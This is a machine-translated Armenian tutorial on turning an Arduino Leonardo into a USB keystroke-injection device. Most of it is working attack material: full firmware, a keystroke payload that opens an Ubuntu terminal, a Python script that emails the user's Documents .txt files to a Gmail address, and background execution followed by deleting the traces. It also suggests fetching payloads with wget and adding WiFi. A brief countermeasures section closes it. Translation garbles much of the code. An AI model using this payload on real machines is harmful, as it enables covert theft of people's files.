Բովանդակություն:

Arduino ստեղնաշարի շահագործման ցուցադրում (HID) և կանխարգելում. 4 քայլ (նկարներով)
Arduino ստեղնաշարի շահագործման ցուցադրում (HID) և կանխարգելում. 4 քայլ (նկարներով)

Video: Arduino ստեղնաշարի շահագործման ցուցադրում (HID) և կանխարգելում. 4 քայլ (նկարներով)

Video: Arduino ստեղնաշարի շահագործման ցուցադրում (HID) և կանխարգելում. 4 քայլ (նկարներով)
Video: Ինչպես միացնել արդյունաբերական 4-20 մԱ սենսորները Raspberry Pi Pico PLC-ի հետ | Mitsubishi FX1N PLC 2024, Հուլիսի
Anonim
Image
Image
Սարքի կառուցում
Սարքի կառուցում

Այս նախագծում մենք կօգտագործենք arduino leonardo ՝ հնարավոր USB հարձակումը մոդելավորելու համար ՝ օգտագործելով HID (մարդկային ինտերֆեյսի սարք):

Ես ստեղծել եմ այս ձեռնարկը ոչ թե հակերներին օգնելու համար, այլ ձեզ ցույց տալու իրական վտանգներ և ինչպես պաշտպանել ձեր անձը այդ վտանգներից: Այս սարքը դա սարք չէ, որը կարող է օգտագործվել հակերների համար ցանկացած հարթակում, դա ավելի մանրամասն հասկացության ապացույց է:

Մենք սովորելու ենք հետևյալը

- ինչպես օգտագործել arduino leonardo ստեղնաշարը ընդօրինակելու համար

- ինչպես կարդալ տվյալները SD քարտերից

- ինչպես ստեղծել պիթոնի սցենար, որը սկանավորում է ֆայլերը և ուղարկում դրանք էլ

- ինչպես պաշտպանվել ինքներդ ձեզ USB կոտրիչ սարքերից

Քայլ 1: Նյութեր

Մասեր:

1. Արդուինո Լեոնարդո

2. միկրո USB քարտի ընթերցող

3. մի քանի ԳԲ SD քարտ

4. այսպիսի կոճակ (VCC, Ground և ազդանշան)

5. իգական-արական և իգական-էգ ցատկող մալուխներ

6. միկրո USB USB մալուխ

Քայլ 2: Սարքի կառուցում

Սարքի կառուցում
Սարքի կառուցում

Նախքան շենքի հրահանգը եկեք վերանայենք աշխատանքի սկզբունքը

Arduino leonardo- ն կարող է իրեն պահել որպես մարդու միջերեսի սարք (HID) և, հետևաբար, կարող է ընդօրինակել մկնիկը և ստեղնաշարը: Մենք կօգտագործենք այս հնարավորությունը տերմինալ բացելու համար (UBUNTU linux- ում) և գրելու փոքր սցենար, որը մուտք կգործի User Document թղթապանակի ներսում գտնվող փաստաթղթեր: պատճենեք.txt ֆայլերն այնտեղ և ուղարկեք դրանք ինչ -որ մեկին: Եթե ցանկանում եք ավելի շատ մանրամասներ իմանալ, ստուգեք հաջորդ քայլը:

Քանի որ դա ցուցադրական սարք է, ամեն ինչ իսկապես պարզ է, մենք ոչինչ չենք կպցնելու:

Շինարարության հրահանգներ

Նախքան սկսելը ստուգեք կցված ֆայլերը, ես կցել եմ ցնցող սխեմաներ և բոլոր անհրաժեշտ ֆայլերը

1. Հավաքեք բաղադրիչները

* միացրեք միկրո USB մալուխը arduino- ին

* միացրեք բանալին arduino- ին (հիմք, vcc և ելքային մոդուլ D8- ին)

* միացրեք քարտի ընթերցողը arduino- ին (օգտագործելով ICSP վերնագիրը): Arduino leonardo- ն չունի ICSP վերնագիր, որը միացված է թվային կապում, այնպես որ ձեզ հարկավոր է քարտի ընթերցողը միացնել ICSP- ի վերնագրին: ICSP- ի որոշ գծանկարներ կարող եք գտնել այստեղ ՝ https://learn.sparkfun.com/tutorials/installing-an…: Միացրեք SS կապը թվային կապին 10

2. ստացեք arduino կոդը, կարող եք իմ arduino պահեստը կլոնավորել github- ում ՝ https://github.com/danionescu0/arduino և գնալ նախագծեր/keyboard_exploit կամ ստանալ այն ներքևից.

#ներառել "Keyboard.h"

#ներառել "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Քուն::"; String commandStartingPoint = "Հրաման::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = Բարձր; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); եթե (! SD.begin (chipSelect)) {Serial.println («Քարտը ձախողվեց, կամ ներկա չէ»); վերադարձ; }} void loop () {int buttonState = digitalRead (buttonPin); եթե ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println («Վերբեռնված է»); ուշացում (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); եթե (! dataFile) {Serial.println ("Նշված ֆայլի անունը SD քարտում չկա, ստուգեք filenameOnCard!"); } Լարային գիծ; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (տող); sendToKeyboard (տող); } dataFile.close (); } void sendToKeyboard (Լարային տող) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (տող); վերադարձ; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:"); Serial.println (line); Keyboard.println (տող); pressEnter (); վերադարձ; } Serial.println ("Հրաման."); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); Լարային հրաման = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (command! = "") {Serial.print ("Command found:"); Serial.println (command); Keyboard.press (getCommandCode (հրաման)); ուշացում (delayBetweenCommands); }} Keyboard.releaseAll (); ուշացում (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (Լարային տող) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print («Sleeping for:»); Serial.println (sleepAmount); ուշացում (sleepAmount); } char getCommandCode (Լարային տեքստ) {char textCharacters [2]; text.toCharArray (տեքստային կերպարներ, 2); char կոդը = textCharacters [0]; ծածկագիր = (տեքստ == "KEY_LEFT_CTRL"): KEY_LEFT_CTRL: կոդ; ծածկագիր = (տեքստ == "KEY_LEFT_SHIFT"): KEY_LEFT_SHIFT: ծածկագիր; ծածկագիր = (տեքստ == "KEY_LEFT_ALT"): KEY_LEFT_ALT: ծածկագիր; ծածկագիր = (տեքստ == "KEY_UP_ARROW"): KEY_UP_ARROW: կոդ; ծածկագիր = (տեքստ == "KEY_DOWN_ARROW"): KEY_DOWN_ARROW: ծածկագիր; ծածկագիր = (տեքստ == "KEY_LEFT_ARROW"): KEY_LEFT_ARROW: ծածկագիր; ծածկագիր = (տեքստ == "KEY_RIGHT_ARROW"): KEY_RIGHT_ARROW: կոդ; ծածկագիր = (տեքստ == "KEY_RIGHT_GUI"): KEY_RIGHT_GUI: ծածկագիր; ծածկագիր = (տեքստ == "KEY_BACKSPACE"): KEY_BACKSPACE: կոդ; ծածկագիր = (տեքստ == "KEY_TAB"): KEY_TAB: կոդ; ծածկագիր = (տեքստ == "KEY_RETURN"): KEY_RETURN: ծածկագիր; ծածկագիր = (տեքստ == "KEY_ESC"): KEY_ESC ՝ ծածկագիր; ծածկագիր = (տեքստ == "KEY_INSERT"): KEY_INSERT: կոդ; ծածկագիր = (տեքստ == "KEY_DELETE"): KEY_DELETE: կոդ; ծածկագիր = (տեքստ == "KEY_PAGE_UP"): KEY_PAGE_UP: ծածկագիր; ծածկագիր = (տեքստ == "KEY_PAGE_DOWN"): KEY_PAGE_DOWN: ծածկագիր; ծածկագիր = (տեքստ == "KEY_HOME"): KEY_HOME: կոդ; ծածկագիր = (տեքստ == "KEY_END"): KEY_END: կոդ; ծածկագիր = (տեքստ == "KEY_CAPS_LOCK"): KEY_CAPS_LOCK: կոդ; ծածկագիր = (տեքստ == "KEY_F1"): KEY_F1: կոդ; ծածկագիր = (տեքստ == "KEY_F2"): KEY_F2: կոդ; ծածկագիր = (տեքստ == "KEY_F3"): KEY_F3: կոդ; ծածկագիր = (տեքստ == "KEY_F4"): KEY_F4: կոդ; ծածկագիր = (տեքստ == "KEY_F5"): KEY_F5: կոդ; ծածկագիր = (տեքստ == "KEY_F6"): KEY_F6: կոդ; ծածկագիր = (տեքստ == "KEY_F7"): KEY_F7: կոդ; ծածկագիր = (տեքստ == "KEY_F8"): KEY_F8: կոդ; ծածկագիր = (տեքստ == "KEY_F9"): KEY_F9: կոդ; ծածկագիր = (տեքստ == "KEY_F10"): KEY_F10: կոդ; ծածկագիր = (տեքստ == "KEY_F11"): KEY_F1: կոդ; ծածկագիր = (տեքստ == "KEY_F12"): KEY_F2: կոդ;

վերադարձի ծածկագիր;

}

3. Վերբեռնեք կոդը arduino- ում, համոզվեք, որ ընտրեք 9600 baud rate, սերիական նավահանգիստ և arduino leonardo

4. Ձևաչափեք sd քարտը ՝ օգտագործելով FAT16 կամ FAT32

5. Եթե վերևից եք կլոնավորել github- ի ռեպոն, պատճենեք hack.txt ֆայլը քարտի վրա, եթե ոչ, ֆայլը նշված է ստորև

Հրաման:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT ներմուծել smtplib ներմուծման գլոբուս, os.path- ից ՝ էլ. Փոստից ներմուծել: MIMEText ներմուծում MIMEText էլփոստից: Մինչև ներմուծում COMMASPACE, ձևաչափ ՝ էլ. Փոստի ներմուծման կոդավորիչներից

smtp_user = 'ուղարկող_գmail_հասցե'

smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Փաստաթղթեր'

subject = body = 'Ֆայլեր կոտրված համակարգչից'

header = 'Դեպի ՝ {0} n From: {1} n Subject: {2} n'.format (to_address, smtp_user, subject)

def sendMail (հասցեին, թեմային, տեքստին, ֆայլերին = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach (MIMEText (տեքստ)) ֆայլերի ֆայլերի համար. Մաս = MIMEBase («ծրագիր», «octet-stream») part.set_payload (բաց (ֆայլ, «rb»): կարդալ ()) Encoders.encode_base64 (մաս) մաս: add_header ('Content-Disposition', 'attachment; filename = " % s"' % os.path.basename (ֆայլ)) msg.attach (մաս)

սերվեր = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()

sendMail ([հասցեին], թեմա, մարմին, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))

Քուն:: 50 հրաման:: KEY_ESC Քուն:: 100: x Քուն:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4

6. Խմբագրել հետևյալ տողերը

smtp_user = 'ուղարկող_փոստ_հասցե'

smtp_pass = 'ուղարկողի_բառ' to_address = 'receiver_address'

Եվ փոխարինեք ձեր էլփոստի հասցեներով

7. Հեռացրեք քարտը և տեղադրեք այն arduino քարտի ընթերցողի մեջ

Քայլ 3: Ինչպես է այն աշխատում մանրամասների մեջ

Ինչպես կաշխատի հարձակումը

1. Երբ կոճակը սեղմված է, լեոնարդոն կկարդա sd քարտը `օգտագործելով SD քարտի ընթերցող: Քարտի վրա կլինի բանալիներ և բանալիների համադրություն պարունակող հատուկ ֆայլ: Ֆայլի անունն է «hack.txt»:

Ֆայլը կարող է պարունակել հում տեքստ, և այն կփոխանցվի ստեղնաշարին այնպես, ինչպես կա:

Նաև այն կարող է պարունակել հատուկ հրամաններ, ինչպիսիք են «Քնել::» և «Հրաման::»:

Նման տող.

Երազ:: 200 նշանակում է 200 մգ քուն

Նման տող.

Հրաման:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t նշանակում է ձախ ctrl սեղմված, ձախ alt սեղմված, t սեղմված և բոլորը թողարկված

Բոլոր հատուկ բանալիները կարող եք ստուգել այստեղ ՝

2. Լեոնարդոն կարդալու է տող առ տող, և մեկնաբանելու է հրամանները և ընդօրինակելու է ստեղնաշարի ստեղները: «Hack.txt» ֆայլը պարունակում է ստեղների համադրություն, որը կատարում է հետևյալը (UBUNTU linux- ի համար).

ա բացում է տերմինալ (CTRL + ALT + T)

բ. բացում է python ֆայլ vi- ի միջոցով ստեղծելու համար (գրում է «vi hack.py»

գ. ներսում գրում է պիթոնի սցենար, որը հավաքում է փաստաթղթերի տնային թղթապանակի բոլոր տեքստային ֆայլերը և դրանք ուղարկում որոշակի gmail հասցեով

դ. գործարկում է ֆայլը հետին պլանում ("nohup python hack.py &")

ե. ջնջում է ֆայլը (rm -rf hack.py)

զ փակում է տերմինալը (ALT + F4)

Այս ամբողջը անցնում է մի քանի վայրկյանում և հետքեր չի թողնում:

Բարելավումներ և անսարքությունների վերացում

* Դուք կարող եք նկատել, որ տերմինալ բացելուց հետո ես գրում եմ պիթոնի ֆայլը: դրան հասնելու ավելի լավ միջոց կլինի այն ինչ -որ տեղ հյուրընկալելը և ներբեռնելը `օգտագործելով« wget some_url »հրամանը, այնուհետև այն վերանվանել hack.py

* Նաև մենք կարող ենք ներբեռնել կամ գործարկել պատրաստի շահագործում նպատակային օպերացիոն համակարգի համար

* wifi- ն կարող է ավելացվել մոդուլին, իսկ հաքերը կարող են վերբեռնվել WIFI- ի միջոցով

* կարող եք օգտագործել arduino micro (որը շատ ավելի փոքր է) և դրա վրա տեղադրել շահագործման կոդ (այն փոքրացնելու համար)

Սահմանափակումներ

1. Քանի որ մոդելավորված սարքը (ստեղնաշար և մկնիկ) հետադարձ կապ չունի, մենք չգիտենք, թե ինչ կլինի հրաման արձակելուց հետո, ինչը նշանակում է, որ մենք պետք է օգտագործենք ուշացումներ: Օրինակ, ես տերմինալ բացելու հրաման եմ տալիս, բայց չգիտեմ, թե երբ է այն իրականում բաց, ուստի պետք է կամայական հետաձգում նշեմ, որպեսզի հետագայում մուտքագրված նիշերը չկորչեն:

2. Մենք կարող ենք բախվել թույլտվության խնդիրների, ինչպիսիք են USB պորտին մուտք չունենալը կամ ինչ -որ բան տեղադրելու թույլտվությունը

3. Լեոնարդոյի վրա մեքենագրման արագությունը այնքան էլ մեծ չէ

4. Աշխատելու է միայն նպատակային օպերացիոն համակարգի վրա (մեր դեպքում UBUNTU linux)

Հաջորդ քայլում կփորձենք գտնել այս սահմանափակումները շահագործելու եղանակներ `կանխելու մեր համակարգչի կոտրումը

Քայլ 4: Հակաքայլեր

1. USB պորտերի անջատում

-պատուհանների համար կարող եք ստուգել այս ձեռնարկը ՝

2. Սպիտակ ցուցակի USB սարքեր.

- պատուհանների համար ՝

2. Կողպեք ձեր համակարգիչը, երբ բացակայում եք

3. Մի մուտք գործեք որպես արմատ (գաղտնաբառեր պահանջեք որևէ բան տեղադրելու համար)

4. Տեղեկացրեք ինքներդ ձեզ (ավտոմատ թարմացումները միացված են)

Խորհուրդ ենք տալիս: